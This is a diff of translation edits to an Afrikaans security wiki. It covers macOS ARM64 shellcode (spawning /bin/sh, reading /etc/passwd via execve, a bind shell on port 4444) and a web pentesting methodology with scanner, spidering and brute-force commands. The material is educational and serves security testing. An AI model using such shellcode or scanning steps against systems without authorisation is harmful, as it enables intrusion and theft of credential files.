-- As (initialize && !cls->initialized) initaliseer klas
+- If (initialize && !cls->initialized) initialize class
-- Probeer klas se eie kas:
+- Probeer class se eie cache:
-- As suksesvol, klaar
+- As dit suksesvol is, klaar
-- Probeer klas metode lys:
+- Probeer class method list:
-- As gevind, vul kas en klaar
+- Indien gevind, vul cache en klaar
-- Probeer superklas kas:
+- Probeer superclass cache:
-- As suksesvol, klaar
+- As dit suksesvol is, klaar
-- Probeer superklas metode lys:
+- Probeer superclass method list:
-- As gevind, vul kas en klaar
+- Indien gevind, vul cache en klaar
-- As (resolver) probeer metode resolver, en herhaal vanaf klas soektog
+- If (resolver) try method resolver, and repeat from class lookup
-- As ek nog hier is (= alles anders het gefaal) probeer forwarder
+- As dit nog hier is (= alles anders het misluk), probeer forwarder
 
 ### Shellcodes
 
@@ -417,7 +420,7 @@ done
 ```
 <details>
 
-<summary>C kode om die shellcode te toets</summary>
+<summary>C code om die shellcode te toets</summary>
 ```c
 // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
 // gcc loader.c -o loader
@@ -467,7 +470,7 @@ return 0;
 
 #### Shell
 
-Geneem uit [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik.
+Geneem van [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik.
 
 {{#tabs}}
 {{#tab name="with adr"}}
@@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
 ```
 {{#endtab}}
 
-{{#tab name="met stap"}}
+{{#tab name="with stack"}}
 ```armasm
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
 .global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@@ -518,7 +521,7 @@ svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter,
 ```
 {{#endtab}}
 
-{{#tab name="met adr vir linux"}}
+{{#tab name="with adr for linux"}}
 ```armasm
 ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
 
 #### Lees met cat
 
-Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, so die tweede argument (x1) is 'n array van parameters (wat in geheue 'n stapel van die adresse beteken).
+Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, dus is die tweede argument (x1) 'n array van params (wat in geheue beteken 'n stack van adresse).
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
 .align 2
 passwd_path: .asciz "/etc/passwd"
 ```
-#### Roep opdrag met sh vanaf 'n fork sodat die hoofproses nie doodgemaak word nie
+#### Roep 'n opdrag met sh van 'n fork sodat die hoofproses nie gedood word nie
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
 ```
 #### Bind shell
 
-Bind shell van [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444**
+Bind shell van [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) op **port 4444**
 ```armasm
 .section __TEXT,__text
 .global _main

src/network-services-pentesting/pentesting-web/README.md

@@ -4,9 +4,9 @@
 
 ## Basiese Inligting
 
-Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**.
+Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende soorte kwesbaarhede**.
 
-**Standaardpoort:** 80 (HTTP), 443(HTTPS)
+**Standaard port:** 80 (HTTP), 443(HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 web-api-pentesting.md
 {{#endref}}
 
-## Metodologie opsomming
+## Metodologie-opsomming
 
-> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) gaan aanval en slegs daardie. Pas dus hierdie metodologie toe op elke ontdekte domein, subdomein of IP met 'n ongedetermineerde webserver binne die omvang.
+> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) en slegs dit gaan aanval. Dus moet jy hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die scope.
 
-- [ ] Begin deur die **tegnologieë** wat deur die webserver gebruik word, te **identifiseer**. Soek vir **truuks** om in gedagte te hou gedurende die res van die toets as jy die tech suksesvol kan identifiseer.
+- [ ] Begin deur die **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek **truuks** om gedurende die res van die toets in gedagte te hou as jy die tegnologie suksesvol kan identifiseer.
-- [ ] Is daar enige **bekende vulnerability** van die weergawe van die tegnologie?
+- [ ] Enige **bekende vulnerabilities** in die weergawe van die tegnologie?
-- [ ] Word enige **well known tech** gebruik? Enige **useful trick** om meer inligting te onttrek?
+- [ ] Gebruik jy enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
-- [ ] Is daar enige **specialised scanner** om te gebruik (soos wpscan)?
+- [ ] Enige **specialised scanner** om te laat loop (soos wpscan)?
-- [ ] Begin met **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting gaan blootlê nie.
+- [ ] Start **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting sal blootlê nie.
-- [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (as HTTPS).
+- [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (if HTTPS).
-- [ ] Begin **spidering** van die webblad: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind**. Kontroleer ook vir **special findings**.
+- [ ] Begin **spidering** van die webblad: dit is tyd om alle moontlike **files, folders** en **parameters being used** te **find**. Kontroleer ook vir **special findings**.
-- [ ] _Let daarop dat enige tyd 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit gespidered moet word._
+- [ ] _Let daarop dat elke keer wanneer 'n nuwe gids tydens brute-forcing of spidering ontdek word, dit gespider moet word._
-- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
+- [ ] **Directory Brute-Forcing**: Probeer om alle ontdekte gidse te brute-force om na nuwe **files** en **directories** te soek.
-- [ ] _Let daarop dat enige tyd 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit Brute-Forced moet word._
+- [ ] _Let daarop dat elke keer wanneer 'n nuwe gids tydens brute-forcing of spidering ontdek word, dit Brute-Forced moet word._
-- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup-uitbreidings by te voeg.
+- [ ] **Backups checking**: Toets of jy **backups** van **discovered files** kan vind deur algemene backup-uitbreidings aan te heg.
-- [ ] **Brute-Force parameters**: Probeer om **hidden parameters** te vind.
+- [ ] **Brute-Force parameters**: Probeer om **find hidden parameters**.
-- [ ] Sodra jy alle moontlike **endpoints** wat **user input** aanvaar **identified** het, kontroleer vir alle soorte **vulnerabilities** wat daarmee verband hou.
+- [ ] Sodra jy al die moontlike **endpoints** wat **user input** aanvaar, **identified** het, kyk na alle soorte **vulnerabilities** wat daarmee verband hou.
-- [ ] [Volg hierdie checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Server Version (Kwetsbaar?)
+## Bedienerweergawe (Kwetsbaar?)
 
 ### Identifiseer
 
-Kontroleer of daar **known vulnerabilities** is vir die server **version** wat loop.\
+Kontroleer of daar **bekende vulnerabilities** vir die bediener **weergawe** wat loop is.\
-Die **HTTP headers** en **cookies** van die response kan baie nuttig wees om die **tegnologieë** en/of **version** wat gebruik word te **identify**. **Nmap scan** kan die server version identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
+Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap scan** kan die bedienerweergawe identifiseer, maar die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Soek **na** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md)
+Search **for** [**kwesbaarhede van die webtoepassing weergawe**](../../generic-hacking/search-exploits.md)
 
-### **Kyk of daar 'n WAF is**
+### **Check if any WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Web-tegnologie truuks
+### Web tech tricks
 
-Sommige **truuks** om **kwesbaarhede te vind** in verskillende bekende **tegnologieë** wat gebruik word:
+Sommige **truuks** om **kwesbaarhede te vind** in verskillende goed-bekende **tegnologieë** wat gebruik word:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -101,28 +101,27 @@ Sommige **truuks** om **kwesbaarhede te vind** in verskillende bekende **tegnolo
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 
-_Neem in ag dat dieselfde **domein** verskillende **tegnologieë** op verskillende **porte**, **gidse** en **subdomeine** kan gebruik._\
+Neem in ag dat dieselfde **domein** verskillende **tegnologieë** op verskillende **poorte**, **gidse** en **subdomeine** kan gebruik.\
-As die webtoepassing enige bekende **tegnologie/platform wat hierbo gelys is** of **enige ander** gebruik, moenie vergeet om op die Internet na nuwe truuks te **soek** (en laat my weet!).
+As die webtoepassing enige welbekende **tegnologie/platform** gebruik wat hierbo gelys is of enige ander, moenie vergeet om op die Internet na nuwe truuks te soek (en laat weet my!).
 
-### Bronkode hersiening
+### Source Code Review
 
-As die **bronkode** van die toepassing in **github** beskikbaar is, behalwe om self 'n White box test van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**:
+As die **bronkode** van die toepassing op **github** beskikbaar is, benewens om self 'n White box test van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**:
 
-- Is daar 'n **Change-log or Readme or Version** lêer of enigiets met **weergawe-inligting toeganklik** via die web?
+- Is daar 'n **Change-log of Readme of Version** lêer of enigiets met **weergawe-inligting** wat via die web toeganklik is?
 - Hoe en waar word die **credentials** gestoor? Is daar enige (toeganklike?) **lêer** met credentials (gebruikersname of wagwoorde)?
-- Is die **passwords** in **plain text** of **encrypted**, en watter **hashing algorithm** word gebruik?
+- Is **wagwoorde** in **plain text**, **encrypted** of watter **hashing algoritme** word gebruik?
-- Gebruik dit enige **master key** om iets te enkripteer? Watter **algorithm** word gebruik?
+- Gebruik dit enige **master key** om iets te enkripteer? Watter **algoritme** word gebruik?
-- Kan jy deur 'n kwesbaarheid uit te buit toegang tot enige van hierdie **lêers** kry?
+- Kan jy enige van hierdie lêers bekom deur 'n kwesbaarheid uit te buit?
-- Is daar enige **interessante inligting in die github** (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien 'n **password** wat in 'n ou commit ingevoeg is)?
+- Is daar enige interessante inligting in die github (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien is 'n wagwoord in 'n ou commit ingevoer)?
-
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Outomatiese skandeerders
+### Automatic scanners
 
-#### Algemene doeleindes outomatiese skandeerders
+#### General purpose automatic scanners
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -134,12 +133,12 @@ nuclei -ut && nuclei -target <URL>
 # https://github.com/ignis-sec/puff (client side vulns fuzzer)
 node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
 ```
-#### CMS skandeerders
+#### CMS-skandeerders
 
-As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te laat loop** nie — dalk word iets sappigs gevind:
+As 'n CMS gebruik word, moenie vergeet om **run a scanner** nie — dalk vind jy iets sappigs:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir sekuriteitskwessies. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir sekuriteitsprobleme. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -149,45 +148,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Op hierdie stadium behoort jy reeds sekere inligting te hê oor die webbediener wat deur die kliënt gebruik word (as enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is het jy selfs 'n CMS gevind en 'n scanner uitgevoer.
+> Op hierdie punt behoort jy reeds 'n bietjie inligting te hê oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar wenke om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n scanner laat loop.
 
-## Stap-vir-stap Webtoepassingsontdekking
+## Stap-vir-stap Webtoepassing-ontdekking
 
-> Vanaf hierdie punt gaan ons begin om met die webtoepassing te interakteer.
+> Vanaf hierdie punt gaan ons begin met interaksie met die webtoepassing.
 
-### Aanvanklike kontroles
+### Aanvanklike kontrole
 
-**Standaardbladsye met interessante inligting:**
+**Standaard bladsye met interessante inligting:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Kyk ook na kommentaar in die hoof- en sekondêre bladsye.
+- Kontroleer ook kommentare in die hoof- en sekondêre bladsye.
 
 **Foute afdwing**
 
-Webbedieners kan **onvoorspelbaar optree** wanneer vreemde data na hulle gestuur word. Dit kan **vulnerabilities** of **disclosure sensitive information** openbaar.
+Webbedieners kan **onvoorspelbaar optree** wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** ontsluit of die **onthulling van sensitiewe inligting** veroorsaak.
 
-- Kry toegang tot **vals bladsye** soos /whatever_fake.php (.aspx,.html,.etc)
+- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.etc)
-- **Voeg "\[]", "]]", en "\[\["** in **cookie values** en **parameter** values om foute te veroorsaak
+- **Voeg "\[]", "]]", en "\[\["** by **cookie values** en **parameter values** om foute te skep
-- Genereer 'n fout deur invoer te gee as **`/~randomthing/%s`** aan die **end** van die **URL**
+- Genereer 'n fout deur inset as **`/~randomthing/%s`** by die **end** van die **URL** te gee
-- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of foutiewe soos FAKE
+- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE
 
-#### **Kyk of jy lêers kan oplaai (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-As jy vind dat **WebDav** **geaktiveer** is maar jy nie genoeg toestemmings het vir **uploading files** in die wortelmap nie, probeer om:
+As jy vind dat **WebDav** **ingeskakel** is maar jy het nie genoeg toestemmings om **lêers op te laai** in die root-lêergids nie, probeer om:
 
 - **Brute Force** credentials
-- **Upload files** via WebDav na die res van die **found folders** binne die webblad. Jy mag permissies hê om lêers in ander vouers op te laai.
+- **Upload files** via WebDav na die **res** van die **found folders** binne die webblad. Jy mag dalk toestemmings hê om lêers in ander vouers op te laai.
 
-### **SSL/TLS kwesbaarhede**
+### **SSL/TLS vulnerabilites**
 
-- As die toepassing **nie die gebruiker na HTTPS dwing** in enige deel nie, is dit kwesbaar vir MitM
+- As die toepassing **nie die gebruiker tot HTTPS dwing** in enige deel nie, is dit **vatbaar vir MitM**
-- As die toepassing **gevoelige data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
+- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
 
-Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **vulnerabilities** (In Bug Bounty programs waarskynlik hierdie soort vulnerabilities nie aanvaar sal word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die vulnerabilities weer te kontroleer:
+Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty programs waarskynlik hierdie soort kwesbaarhede nie aanvaar sal word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)to herkontroleer die kwesbaarhede:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -196,60 +195,60 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontrolee
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Information about SSL/TLS vulnerabilities:
+Inligting oor SSL/TLS kwetsbaarhede:
 
 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 
 ### Spidering
 
-Launch some kind of **spider** inside the web. The doel van die **spider** is om **soveel paaie as moontlik te vind** van die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
+Start 'n soort **spider** binne die web. Die doel van die spider is om soveel moontlike paaie van die getoetste toepassing te **vind**. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldig paaie as moontlik te ontdek.
 
 - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS files en Archive.org as eksterne bron.
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, met LinkFinder vir JS files en Archive.org as eksterne bron.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Soek ook in Archive.org
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook by Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie tool is nie 'n spider nie maar kan nuttig wees. Jy kan 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host haal en die response stoor.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie maar kan nuttig wees. Jy kan 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host haal en die response stoor.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou, die voorafgekompileerde weergawe is oud en die huidige kode kompileer nie.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl).
+- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie script sal URLs met parameters vind en dit lys.
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie script sal URLs met parameters vind en hulle lys.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS rendering vermoëns.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit is ook die moeite werd om [JSScanner](https://github.com/dark-warlord14/JSScanner) te bekyk, wat 'n wrapper van LinkFinder is.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML bron en ingeslote javascript-lêers. Nuttig vir bug hunters, red teamers, infosec ninjas.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML source en embedded javascript files. Nuttig vir bug hunters, red teamers, infosec ninjas.
 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 script wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript files te parse. Nuttig om AJAX requests maklik te ontdek. Lyk ononderhou.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URLs daaruit onttrek met 'n slim regex om relatiewe URLs uit geminifiseerde lêers te kry.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URLs onttrek met 'n netjiese regular expression om relatiewe URLs uit lelike (minified) files te haal.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie tools): Versamel interessante inligting uit JS files met verskeie tools.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Versamel interessante inligting uit JS files deur verskeie tools te gebruik.
 - [**subjs**](https://github.com/lc/subjs) (go): Vind JS files.
 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai is om die bladsy te laai.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools kombineer.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools meng.
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paaie en params in JS files te vind.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n tool wat, gegewe die .js.map URL, die beautified JS kode kry.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Tool wat, gegewe die .js.map URL, die beautified JS kode vir jou sal kry.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 'n tool wat gebruik word om endpoints vir 'n gegewe target te ontdek.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie tool word gebruik om endpoints vir 'n gegewe target te ontdek.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links vanaf die wayback machine (laai ook responses af in die wayback en soek meer links).
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback machine (laai ook responses af van die wayback en soek meer skakels).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe info met spesifieke regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir cyber security professionals.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir kuberveiligheid professionele persone.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets, en ander interessante data uit JavaScript source code.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets en ander interessante data uit JavaScript source code.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **parameters en endpoints te onttrek** vanaf requests om custom wordlists vir fuzzing en enumerasie te skep.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **parameters en endpoints te onttrek** uit requests om 'n pasgemaakte wordlist vir fuzzing en enumerasie te skep.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Fantastiese tool hiervoor.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Geweldige tool hiervoor.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke link wat dit kan vind.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat hy kan vind.
 
 ### Brute Force directories and files
 
-Start **brute-forcing** from the root folder en maak seker om **al** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit **rekursief** brute-force en by die begin van die gebruikte woordlys die name van die gevonde directories voeg).\
+Begin met **brute-forcing** vanaf die root-gids en maak seker om **al** die **directories wat gevind is** te brute-force deur **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit **rekursief** brute-force en by die begin van die gebruikte wordlist die name van die gevonde directories aanhang).\
 Tools:
 
-- **Dirb** / **Dirbuster** - Inklusief in Kali, **oud** (en **stadig**) maar funksioneel. Laat self-gesertifiseerde sertifikate toe en rekursiewe soektog. Te stadig vergelyk met die ander opsies.
+- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **lanksaam**) maar funksioneel. Ondersteun self-ondertekende sertifikate en rekursiewe soektog. Te stadig vergeleke met die ander opsies.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-gesertifiseerde sertifikate toe nie maar** laat rekursiewe soektog toe.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit ondersteun nie self-ondertekende sertifikate nie maar** laat rekursiewe soektog toe.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat self-gesertifiseerde sertifikate toe, dit **het nie** rekursiewe soektog nie.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit ondersteun self-ondertekende sertifikate, dit **het nie** rekursiewe soektog nie.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinnig, ondersteun rekursiewe soektog.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinnig: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
 - [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n tool wat, gegewe 'n lys van gevonde URLs, "gedupliseerde" URLs sal verwyder.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys directories te skep vanaf die burp history van verskillende bladsye.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys van directories te skep vanaf die burp history van verskeie bladsye.
 - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URLs met gedupliseerde funksionaliteite (gebaseer op js imports).
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Gebruik wapalyzer om gebruikte tegnologieë te ontdek en kies die woordlyste om te gebruik.
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te identifiseer en die wordlists te kies wat gebruik moet word.
 
-**Recommended dictionaries:**
+**Aanbevole woordlyste:**
 
